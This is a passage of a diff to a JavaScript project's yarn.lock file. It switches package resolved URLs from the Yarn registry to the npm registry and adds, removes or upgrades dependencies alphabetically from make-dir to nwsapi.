-  integrity sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ==
-  dependencies:
-    sourcemap-codec "^1.4.8"
-
-magic-string@^0.30.3:
-  version "0.30.8"
-  resolved "https://registry.yarnpkg.com/magic-string/-/magic-string-0.30.8.tgz#14e8624246d2bedba70d5462aa99ac9681844613"
-  integrity sha512-ISQTe55T2ao7XtlAStud6qwYPZjE4GK1S/BeVPus4jrq6JuOnQ00YKQC581RWhR122W7msZV263KzVeLoqidyQ==
-  dependencies:
-    "@jridgewell/sourcemap-codec" "^1.4.15"
-
 make-dir@^2.0.0, make-dir@^2.1.0:
   version "2.1.0"
-  resolved "https://registry.yarnpkg.com/make-dir/-/make-dir-2.1.0.tgz#5f0310e18b8be898cc07009295a30ae41e91e6f5"
+  resolved "https://registry.npmjs.org/make-dir/-/make-dir-2.1.0.tgz"
   integrity sha512-LS9X+dc8KLxXCb8dni79fLIIUA5VyZoyjSMCwTluaXA0o27cCK0bhXkpgw+sTXVpPy/lSO57ilRixqk0vDmtRA==
   dependencies:
     pify "^4.0.1"
@@ -7745,416 +8857,406 @@ make-dir@^2.0.0, make-dir@^2.1.0:
 
 make-dir@^3.0.0:
   version "3.1.0"
-  resolved "https://registry.yarnpkg.com/make-dir/-/make-dir-3.1.0.tgz#415e967046b3a7f1d185277d84aa58203726a13f"
+  resolved "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz"
   integrity sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==
   dependencies:
     semver "^6.0.0"
 
-make-error@1.x, make-error@^1.1.1:
+make-dir@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.npmjs.org/make-dir/-/make-dir-4.0.0.tgz"
+  integrity sha512-hXdUTZYIVOt1Ex//jAQi+wTZZpUpwBj/0QsOzqegb3rGMMeJiSEu5xLHnYfBrRV4RH2+OCSOO95Is/7x1WJ4bw==
+  dependencies:
+    semver "^7.5.3"
+
+make-error@1.x, make-error@^1.1.1, make-error@^1.3.6:
   version "1.3.6"
-  resolved "https://registry.yarnpkg.com/make-error/-/make-error-1.3.6.tgz#2eb2e37ea9b67c4891f684a1394799af484cf7a2"
+  resolved "https://registry.npmjs.org/make-error/-/make-error-1.3.6.tgz"
   integrity sha512-s8UhlNe7vPKomQhC1qFelMokr/Sc3AgNbso3n74mVPA5LTZwkB9NlXf4XPamLxJE8h0gh73rM94xvwRT2CVInw==
 
 makeerror@1.0.12:
   version "1.0.12"
-  resolved "https://registry.yarnpkg.com/makeerror/-/makeerror-1.0.12.tgz#3e5dd2079a82e812e983cc6610c4a2cb0eaa801a"
+  resolved "https://registry.npmjs.org/makeerror/-/makeerror-1.0.12.tgz"
   integrity sha512-JmqCvUhmt43madlpFzG4BQzG2Z3m6tvQDNKdClZnO3VbIudJYmxsT0FNJMeiB2+JTSlTQTSbU8QdesVmwJcmLg==
   dependencies:
     tmpl "1.0.5"
 
+math-intrinsics@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz"
+  integrity sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==
+
+media-typer@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.npmjs.org/media-typer/-/media-typer-1.1.0.tgz"
+  integrity sha512-aisnrDP4GNe06UcKFnV5bfMNPBUw4jsLGaWwWfnH3v02GnBuXX2MCVn5RbrWo0j3pczUilYblq7fQ7Nw2t5XKw==
+
+merge-descriptors@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-2.0.0.tgz"
+  integrity sha512-Snk314V5ayFLhp3fkUREub6WtjBfPdCPY1Ln8/8munuLuiYhsABgBVWsozAG+MWMbVEvcdcpbi9R7ww22l9Q3g==
+
 merge-stream@^2.0.0:
   version "2.0.0"
-  resolved "https://registry.yarnpkg.com/merge-stream/-/merge-stream-2.0.0.tgz#52823629a14dd00c9770fb6ad47dc6310f2c1f60"
+  resolved "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz"
   integrity sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==
 
 merge2@^1.3.0, merge2@^1.4.1:
   version "1.4.1"
-  resolved "https://registry.yarnpkg.com/merge2/-/merge2-1.4.1.tgz#4368892f885e907455a6fd7dc55c0c9d404990ae"
+  resolved "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz"
   integrity sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==
 
-micromatch@^4.0.4, micromatch@^4.0.5:
-  version "4.0.5"
-  resolved "https://registry.yarnpkg.com/micromatch/-/micromatch-4.0.5.tgz#bc8999a7cbbf77cdc89f132f6e467051b49090c6"
-  integrity sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==
+merge@^2.1.1:
+  version "2.1.1"
+  resolved "https://registry.npmjs.org/merge/-/merge-2.1.1.tgz"
+  integrity sha512-jz+Cfrg9GWOZbQAnDQ4hlVnQky+341Yk5ru8bZSe6sIDTCIg8n9i/u7hSQGSVOF3C7lH6mGtqjkiT9G4wFLL0w==
+
+micromatch@^4.0.2, micromatch@^4.0.4, micromatch@^4.0.5, micromatch@^4.0.8:
+  version "4.0.8"
+  resolved "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz"
+  integrity sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==
   dependencies:
-    braces "^3.0.2"
+    braces "^3.0.3"
     picomatch "^2.3.1"
 
 mime-db@1.52.0:
   version "1.52.0"
-  resolved "https://registry.yarnpkg.com/mime-db/-/mime-db-1.52.0.tgz#bbabcdc02859f4987301c856e3387ce5ec43bf70"
+  resolved "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz"
   integrity sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==
 
+mime-db@^1.54.0:
+  version "1.54.0"
+  resolved "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz"
+  integrity sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ==
+
 mime-types@^2.1.12:
   version "2.1.35"
-  resolved "https://registry.yarnpkg.com/mime-types/-/mime-types-2.1.35.tgz#381a871b62a734450660ae3deee44813f70d959a"
+  resolved "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz"
   integrity sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==
   dependencies:
     mime-db "1.52.0"
 
+mime-types@^3.0.0, mime-types@^3.0.1:
+  version "3.0.1"
+  resolved "https://registry.npmjs.org/mime-types/-/mime-types-3.0.1.tgz"
+  integrity sha512-xRc4oEhT6eaBpU1XF7AjpOFD+xQmXNB5OVKwp4tqCuBpHLS/ZbBDrc07mYTDqVMg6PfxUjjNp85O6Cd2Z/5HWA==
+  dependencies:
+    mime-db "^1.54.0"
+
 mimic-fn@^2.1.0:
   version "2.1.0"
-  resolved "https://registry.yarnpkg.com/mimic-fn/-/mimic-fn-2.1.0.tgz#7ed2c2ccccaf84d3ffcb7a69b57711fc2083401b"
+  resolved "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz"
   integrity sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==
 
-mimic-fn@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/mimic-fn/-/mimic-fn-4.0.0.tgz#60a90550d5cb0b239cca65d893b1a53b29871ecc"
-  integrity sha512-vqiC06CuhBTUdZH+RYl8sFrL096vA45Ok5ISO6sE/Mr1jRbGH4Csnhi8f3wKVl7x8mO4Au7Ir9D3Oyv1VYMFJw==
-
 minimatch@9.0.3, minimatch@^9.0.1:
   version "9.0.3"
-  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-9.0.3.tgz#a6e00c3de44c3a542bfaae70abfc22420a6da825"
+  resolved "https://registry.npmjs.org/minimatch/-/minimatch-9.0.3.tgz"
   integrity sha512-RHiac9mvaRw0x3AYRgDC1CxAP7HTcNrrECeA8YYJeWnpo+2Q5CegtZjaotWTWxDG3UeGA1coE05iH1mPjT/2mg==
   dependencies:
     brace-expansion "^2.0.1"
 
+minimatch@^10.0.0:
+  version "10.0.1"
+  resolved "https://registry.npmjs.org/minimatch/-/minimatch-10.0.1.tgz"
+  integrity sha512-ethXTt3SGGR+95gudmqJ1eNhRO7eGEGIgYA9vnPatK4/etz2MEVDno5GMCibdMTuBMyElzIlgxMna3K94XDIDQ==
+  dependencies:
+    brace-expansion "^2.0.1"
+
 minimatch@^3.0.4, minimatch@^3.0.5, minimatch@^3.1.1, minimatch@^3.1.2:
   version "3.1.2"
-  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.1.2.tgz#19cd194bfd3e428f049a70817c038d89ab4be35b"
+  resolved "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz"
   integrity sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==
   dependencies:
     brace-expansion "^1.1.7"
 
-minimatch@^5.0.1, minimatch@~5.1.2:
+minimatch@^5.0.1, minimatch@^5.1.6, minimatch@~5.1.2:
   version "5.1.6"
-  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-5.1.6.tgz#1cfcb8cf5522ea69952cd2af95ae09477f122a96"
+  resolved "https://registry.npmjs.org/minimatch/-/minimatch-5.1.6.tgz"
   integrity sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==
   dependencies:
     brace-expansion "^2.0.1"
 
+minimatch@^9.0.3, minimatch@^9.0.4:
+  version "9.0.5"
+  resolved "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz"
+  integrity sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==
+  dependencies:
+    brace-expansion "^2.0.1"
+
 minimist@^1.2.0, minimist@^1.2.8:
   version "1.2.8"
-  resolved "https://registry.yarnpkg.com/minimist/-/minimist-1.2.8.tgz#c1a464e7693302e082a075cee0c057741ac4772c"
+  resolved "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz"
   integrity sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==
 
-minimist@^1.2.6:
-  version "1.2.7"
-  resolved "https://registry.yarnpkg.com/minimist/-/minimist-1.2.7.tgz#daa1c4d91f507390437c6a8bc01078e7000c4d18"
-  integrity sha512-bzfL1YUZsP41gmu/qjrEk0Q6i2ix/cVeAhbCbqH9u3zYutS1cLg00qhrD0M2MVdCcx4Sc0UpP2eBWo9rotpq6g==
-
 "minipass@^5.0.0 || ^6.0.2 || ^7.0.0":
   version "7.0.4"
-  resolved "https://registry.yarnpkg.com/minipass/-/minipass-7.0.4.tgz#dbce03740f50a4786ba994c1fb908844d27b038c"
+  resolved "https://registry.npmjs.org/minipass/-/minipass-7.0.4.tgz"
   integrity sha512-jYofLM5Dam9279rdkWzqHozUo4ybjdZmCsDHePy5V/PbBcVMiSZR97gmAy45aqi8CK1lG2ECd356FU86avfwUQ==
 
-monaco-editor-webpack-plugin@^7.1.0:
-  version "7.1.0"
-  resolved "https://registry.yarnpkg.com/monaco-editor-webpack-plugin/-/monaco-editor-webpack-plugin-7.1.0.tgz#16f265c2b5dbb5fe08681b6b3b7d00d3c5b2ee97"
-  integrity sha512-ZjnGINHN963JQkFqjjcBtn1XBtUATDZBMgNQhDQwd78w2ukRhFXAPNgWuacaQiDZsUr4h1rWv5Mv6eriKuOSzA==
-  dependencies:
-    loader-utils "^2.0.2"
+minipass@^7.1.2:
+  version "7.1.2"
+  resolved "https://registry.npmjs.org/minipass/-/minipass-7.1.2.tgz"
+  integrity sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==
 
-monaco-editor@^0.34.1:
-  version "0.34.1"
-  resolved "https://registry.yarnpkg.com/monaco-editor/-/monaco-editor-0.34.1.tgz#1b75c4ad6bc4c1f9da656d740d98e0b850a22f87"
-  integrity sha512-FKc80TyiMaruhJKKPz5SpJPIjL+dflGvz4CpuThaPMc94AyN7SeC9HQ8hrvaxX7EyHdJcUY5i4D0gNyJj1vSZQ==
+mitt@^3.0.1:
+  version "3.0.1"
+  resolved "https://registry.npmjs.org/mitt/-/mitt-3.0.1.tgz"
+  integrity sha512-vKivATfr97l2/QBCYAkXYDbrIWPM2IIKEl7YPhjCvKlG3kE2gm+uBo6nEXK3M5/Ffh/FLpKExzOQ3JJoJGFKBw==
+
+mkdirp@3.0.1:
+  version "3.0.1"
+  resolved "https://registry.npmjs.org/mkdirp/-/mkdirp-3.0.1.tgz"
+  integrity sha512-+NsyUUAZDmo6YVHzL/stxSu3t9YS1iljliy3BSDrXJ/dkn1KYdmtZODGGjLcc9XLgVVpH4KshHB8XmZgMhaBXg==
+
+mocha@^10.2.0:
+  version "10.8.2"
+  resolved "https://registry.npmjs.org/mocha/-/mocha-10.8.2.tgz"
+  integrity sha512-VZlYo/WE8t1tstuRmqgeyBgCbJc/lEdopaa+axcKzTBJ+UIdlAB9XnmvTCAH4pwR4ElNInaedhEBmZD8iCSVEg==
+  dependencies:
+    ansi-colors "^4.1.3"
+    browser-stdout "^1.3.1"
+    chokidar "^3.5.3"
+    debug "^4.3.5"
+    diff "^5.2.0"
+    escape-string-regexp "^4.0.0"
+    find-up "^5.0.0"
+    glob "^8.1.0"
+    he "^1.2.0"
+    js-yaml "^4.1.0"
+    log-symbols "^4.1.0"
+    minimatch "^5.1.6"
+    ms "^2.1.3"
+    serialize-javascript "^6.0.2"
+    strip-json-comments "^3.1.1"
+    supports-color "^8.1.1"
+    workerpool "^6.5.1"
+    yargs "^16.2.0"
+    yargs-parser "^20.2.9"
+    yargs-unparser "^2.0.0"
+
+mocha@^11.0.1:
+  version "11.0.1"
+  resolved "https://registry.npmjs.org/mocha/-/mocha-11.0.1.tgz"
+  integrity sha512-+3GkODfsDG71KSCQhc4IekSW+ItCK/kiez1Z28ksWvYhKXV/syxMlerR/sC7whDp7IyreZ4YxceMLdTs5hQE8A==
+  dependencies:
+    ansi-colors "^4.1.3"
+    browser-stdout "^1.3.1"
+    chokidar "^3.5.3"
+    debug "^4.3.5"
+    diff "^5.2.0"
+    escape-string-regexp "^4.0.0"
+    find-up "^5.0.0"
+    glob "^10.4.5"
+    he "^1.2.0"
+    js-yaml "^4.1.0"
+    log-symbols "^4.1.0"
+    minimatch "^5.1.6"
+    ms "^2.1.3"
+    serialize-javascript "^6.0.2"
+    strip-json-comments "^3.1.1"
+    supports-color "^8.1.1"
+    workerpool "^6.5.1"
+    yargs "^16.2.0"
+    yargs-parser "^20.2.9"
+    yargs-unparser "^2.0.0"
 
-ms@2.1.2:
-  version "2.1.2"
-  resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.2.tgz#d09d1f357b443f493382a8eb3ccd183872ae6009"
-  integrity sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==
+mri@1.1.4:
+  version "1.1.4"
+  resolved "https://registry.npmjs.org/mri/-/mri-1.1.4.tgz"
+  integrity sha512-6y7IjGPm8AzlvoUrwAaw1tLnUBudaS3752vcd8JtrpGGQn+rXIe63LFVHm/YMwtqAuh+LJPCFdlLYPWM1nYn6w==
 
-ms@^2.1.1:
+ms@^2.1.1, ms@^2.1.3:
   version "2.1.3"
-  resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.3.tgz#574c8138ce1d2b5861f0b44579dbadd60c6615b2"
+  resolved "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz"
   integrity sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==
 
 mz@^2.7.0:
   version "2.7.0"
-  resolved "https://registry.yarnpkg.com/mz/-/mz-2.7.0.tgz#95008057a56cafadc2bc63dde7f9ff6955948e32"
+  resolved "https://registry.npmjs.org/mz/-/mz-2.7.0.tgz"
   integrity sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==
   dependencies:
     any-promise "^1.0.0"
     object-assign "^4.0.1"
     thenify-all "^1.0.0"
 
-nanoid@^3.3.6:
-  version "3.3.6"
-  resolved "https://registry.yarnpkg.com/nanoid/-/nanoid-3.3.6.tgz#443380c856d6e9f9824267d960b4236ad583ea4c"
-  integrity sha512-BGcqMMJuToF7i1rt+2PWSNVnWIkGCU78jBG3RxO/bZlnZPK2Cmi2QaffxGO/2RvWi9sL+FAiRiXMgsyxQ1DIDA==
-
-nanoid@^3.3.7:
-  version "3.3.7"
-  resolved "https://registry.yarnpkg.com/nanoid/-/nanoid-3.3.7.tgz#d0c301a691bc8d54efa0a2226ccf3fe2fd656bd8"
-  integrity sha512-eSRppjcPIatRIMC1U6UngP8XFcz8MQWGQdt1MTBQ7NaAmvXDfvNxbvWV3x2y6CdEUciCSsDHDQZbhYaB8QEo2g==
-
 native-or-another@~2.0.0:
   version "2.0.0"
-  resolved "https://registry.yarnpkg.com/native-or-another/-/native-or-another-2.0.0.tgz#17a567f92beea9cd71acff96a7681a735eca3bff"
+  resolved "https://registry.npmjs.org/native-or-another/-/native-or-another-2.0.0.tgz"
   integrity sha512-rDE50rrX/PSk2StV5EnwpRk35TENl4I4ZsSGZsMJufLdAJ1P4YzNwVf5UOhjQodwz+RdTP9eZSG7FiqnoY25nA==
   dependencies:
     native-or-bluebird "^1.1.2"
 
 native-or-bluebird@^1.1.2:
   version "1.2.0"
-  resolved "https://registry.yarnpkg.com/native-or-bluebird/-/native-or-bluebird-1.2.0.tgz#39c47bfd7825d1fb9ffad32210ae25daadf101c9"
+  resolved "https://registry.npmjs.org/native-or-bluebird/-/native-or-bluebird-1.2.0.tgz"
   integrity sha512-0SH8UubxDfe382eYiwmd12qxAbiWGzlGZv6CkMA+DPojWa/Y0oH4hE0lRtFfFgJmPQFyKXeB8XxPbZz6TvvKaQ==
 
 natural-compare@^1.4.0:
   version "1.4.0"
-  resolved "https://registry.yarnpkg.com/natural-compare/-/natural-compare-1.4.0.tgz#4abebfeed7541f2c27acfb29bdbbd15c8d5ba4f7"
+  resolved "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz"
   integrity sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==
 
-next@^13.5.6:
-  version "13.5.6"
-  resolved "https://registry.yarnpkg.com/next/-/next-13.5.6.tgz#e964b5853272236c37ce0dd2c68302973cf010b1"
-  integrity sha512-Y2wTcTbO4WwEsVb4A8VSnOsG1I9ok+h74q0ZdxkwM3EODqrs4pasq7O0iUxbcS9VtWMicG7f3+HAj0r1+NtKSw==
-  dependencies:
-    "@next/env" "13.5.6"
-    "@swc/helpers" "0.5.2"
-    busboy "1.6.0"
-    caniuse-lite "^1.0.30001406"
-    postcss "8.4.31"
-    styled-jsx "5.1.1"
-    watchpack "2.4.0"
-  optionalDependencies:
-    "@next/swc-darwin-arm64" "13.5.6"
-    "@next/swc-darwin-x64" "13.5.6"
-    "@next/swc-linux-arm64-gnu" "13.5.6"
-    "@next/swc-linux-arm64-musl" "13.5.6"
-    "@next/swc-linux-x64-gnu" "13.5.6"
-    "@next/swc-linux-x64-musl" "13.5.6"
-    "@next/swc-win32-arm64-msvc" "13.5.6"
-    "@next/swc-win32-ia32-msvc" "13.5.6"
-    "@next/swc-win32-x64-msvc" "13.5.6"
+negotiator@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.npmjs.org/negotiator/-/negotiator-1.0.0.tgz"
+  integrity sha512-8Ofs/AUQh8MaEcrlq5xOX0CQ9ypTF5dl78mjlMNfOK08fzpgTHQRQPBxcPlEtIw0yRpws+Zo/3r+5WRby7u3Gg==
+
+netmask@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.npmjs.org/netmask/-/netmask-2.0.2.tgz"
+  integrity sha512-dBpDMdxv9Irdq66304OLfEmQ9tbNRFnFTuZiLo+bD+r332bBmMJ8GBLXklIXXgxd3+v9+KUnZaUR5PJMa75Gsg==
 
 node-addon-api@^3.2.1:
   version "3.2.1"
-  resolved "https://registry.yarnpkg.com/node-addon-api/-/node-addon-api-3.2.1.tgz#81325e0a2117789c0128dab65e7e38f07ceba161"
+  resolved "https://registry.npmjs.org/node-addon-api/-/node-addon-api-3.2.1.tgz"
   integrity sha512-mmcei9JghVNDYydghQmeDX8KoAm0FAiYyIcUt/N4nhyAipB17pllZQDOJD2fotxABnt4Mdz+dKTO7eftLg4d0A==
 
 node-gyp-build@^4.3.0:
   version "4.6.0"
-  resolved "https://registry.yarnpkg.com/node-gyp-build/-/node-gyp-build-4.6.0.tgz#0c52e4cbf54bbd28b709820ef7b6a3c2d6209055"
+  resolved "https://registry.npmjs.org/node-gyp-build/-/node-gyp-build-4.6.0.tgz"
   integrity sha512-NTZVKn9IylLwUzaKjkas1e4u2DLNcV4rdYagA4PWdPwW87Bi7z+BznyKSRwS/761tV/lzCGXplWsiaMjLqP2zQ==
 
 node-int64@^0.4.0:
   version "0.4.0"
-  resolved "https://registry.yarnpkg.com/node-int64/-/node-int64-0.4.0.tgz#87a9065cdb355d3182d8f94ce11188b825c68a3b"
+  resolved "https://registry.npmjs.org/node-int64/-/node-int64-0.4.0.tgz"
   integrity sha512-O5lz91xSOeoXP6DulyHfllpq+Eg00MWitZIbtPfoSEvqIHdl5gfcY6hYzDWnj0qD5tz52PI08u9qUvSVeUBeHw==
 
-node-releases@^2.0.12:
-  version "2.0.12"
-  resolved "https://registry.yarnpkg.com/node-releases/-/node-releases-2.0.12.tgz#35627cc224a23bfb06fb3380f2b3afaaa7eb1039"
-  integrity sha512-QzsYKWhXTWx8h1kIvqfnC++o0pEmpRQA/aenALsL2F4pqNVr7YzcdMlDij5WBnwftRbJCNJL/O7zdKaxKPHqgQ==
-
-node-releases@^2.0.14:
-  version "2.0.14"
-  resolved "https://registry.yarnpkg.com/node-releases/-/node-releases-2.0.14.tgz#2ffb053bceb8b2be8495ece1ab6ce600c4461b0b"
-  integrity sha512-y10wOWt8yZpqXmOgRo77WaHEmhYQYGNA6y421PKsKYWEK8aW+cqAphborZDhqfyKrbZEN92CN1X2KbafY2s7Yw==
+node-releases@^2.0.19:
+  version "2.0.19"
+  resolved "https://registry.npmjs.org/node-releases/-/node-releases-2.0.19.tgz"
+  integrity sha512-xxOWJsBKtzAq7DY0J+DTzuz58K8e7sJbdgwkbMWQe8UYB6ekmsQ45q0M/tJDsGaZmbC+l7n57UV8Hl5tHxO9uw==
 
 normalize-path@^3.0.0, normalize-path@~3.0.0:
   version "3.0.0"
-  resolved "https://registry.yarnpkg.com/normalize-path/-/normalize-path-3.0.0.tgz#0dcd69ff23a1c9b11fd0978316644a0388216a65"
+  resolved "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz"
   integrity sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==
 
-normalize-range@^0.1.2:
-  version "0.1.2"
-  resolved "https://registry.yarnpkg.com/normalize-range/-/normalize-range-0.1.2.tgz#2d10c06bdfd312ea9777695a4d28439456b75942"
-  integrity sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA==
+npm-dts@^1.3.13:
+  version "1.3.13"
+  resolved "https://registry.npmjs.org/npm-dts/-/npm-dts-1.3.13.tgz"
+  integrity sha512-k1G0x0aIN8Wc0KyEZe2zAvBQqPi2NMBTg0fanEUhmBkynvb/KLy+J8F3ozyPGW1sAdnjaSHfCe1hd/X/IaD4Fw==
+  dependencies:
+    args "5.0.3"
+    find-node-modules "2.1.3"
+    mkdirp "3.0.1"
+    npm-run "5.0.1"
+    rimraf "6.0.1"
+    tmp "0.2.3"
+    winston "3.13.1"
 
-notistack@^3.0.0-alpha.7:
-  version "3.0.1"
-  resolved "https://registry.yarnpkg.com/notistack/-/notistack-3.0.1.tgz#daf59888ab7e2c30a1fa8f71f9cba2978773236e"
-  integrity sha512-ntVZXXgSQH5WYfyU+3HfcXuKaapzAJ8fBLQ/G618rn3yvSzEbnOB8ZSOwhX+dAORy/lw+GC2N061JA0+gYWTVA==
+npm-path@^2.0.2, npm-path@^2.0.4:
+  version "2.0.4"
+  resolved "https://registry.npmjs.org/npm-path/-/npm-path-2.0.4.tgz"
+  integrity sha512-IFsj0R9C7ZdR5cP+ET342q77uSRdtWOlWpih5eC+lu29tIDbNEgDbzgVJ5UFvYHWhxDZ5TFkJafFioO0pPQjCw==
   dependencies:
-    clsx "^1.1.0"
-    goober "^2.0.33"
+    which "^1.2.10"
 
 npm-run-path@^4.0.1:
   version "4.0.1"
-  resolved "https://registry.yarnpkg.com/npm-run-path/-/npm-run-path-4.0.1.tgz#b7ecd1e5ed53da8e37a55e1c2269e0b97ed748ea"
+  resolved "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz"
   integrity sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==
   dependencies:
     path-key "^3.0.0"
 
-npm-run-path@^5.1.0:
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/npm-run-path/-/npm-run-path-5.1.0.tgz#bc62f7f3f6952d9894bd08944ba011a6ee7b7e00"
-  integrity sha512-sJOdmRGrY2sjNTRMbSvluQqg+8X7ZK61yvzBEIDhz4f8z1TZFYABsqjjCBd/0PUNE9M6QDgHJXQkGUEm7Q+l9Q==
+npm-run@5.0.1:
+  version "5.0.1"
+  resolved "https://registry.npmjs.org/npm-run/-/npm-run-5.0.1.tgz"
+  integrity sha512-s7FyRpHUgaJfzkRgOnevX8rAWWsv1dofY1XS7hliWCF6LSQh+HtDfBvpigPS1krLvXw+Fi17CYMY8mUtblnyWw==
   dependencies:
-    path-key "^4.0.0"
+    minimist "^1.2.0"
+    npm-path "^2.0.4"
+    npm-which "^3.0.1"
+    serializerr "^1.0.3"
+
+npm-which@^3.0.1:
+  version "3.0.1"
+  resolved "https://registry.npmjs.org/npm-which/-/npm-which-3.0.1.tgz"
+  integrity sha512-CM8vMpeFQ7MAPin0U3wzDhSGV0hMHNwHU0wjo402IVizPDrs45jSfSuoC+wThevY88LQti8VvaAnqYAeVy3I1A==
+  dependencies:
+    commander "^2.9.0"
+    npm-path "^2.0.2"
+    which "^1.2.10"
+
+nth-check@^2.0.1:
+  version "2.1.1"
+  resolved "https://registry.npmjs.org/nth-check/-/nth-check-2.1.1.tgz"
+  integrity sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==
+  dependencies:
+    boolbase "^1.0.0"
 
 nullthrows@^1.1.1:
   version "1.1.1"
-  resolved "https://registry.yarnpkg.com/nullthrows/-/nullthrows-1.1.1.tgz#7818258843856ae971eae4208ad7d7eb19a431b1"
+  resolved "https://registry.npmjs.org/nullthrows/-/nullthrows-1.1.1.tgz"
   integrity sha512-2vPPEi+Z7WqML2jZYddDIfy5Dqb0r2fze2zTxNNknZaFpVHU3mFB3R+DWeJWGVx0ecvttSGlJTI+WG+8Z4cDWw==
 
 nwsapi@^2.2.0:
   version "2.2.2"
-  resolved "https://registry.yarnpkg.com/nwsapi/-/nwsapi-2.2.2.tgz#e5418863e7905df67d51ec95938d67bf801f0bb0"
+  resolved "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.2.tgz"
   integrity sha512-90yv+6538zuvUMnN+zCr8LuV6bPFdq50304114vJYJ8RDyK8D5O9Phpbd6SZWgI7PwzmmfN1upeOJlvybDSgCw==
 
 nwsapi@^2.2.4:
   version "2.2.7"
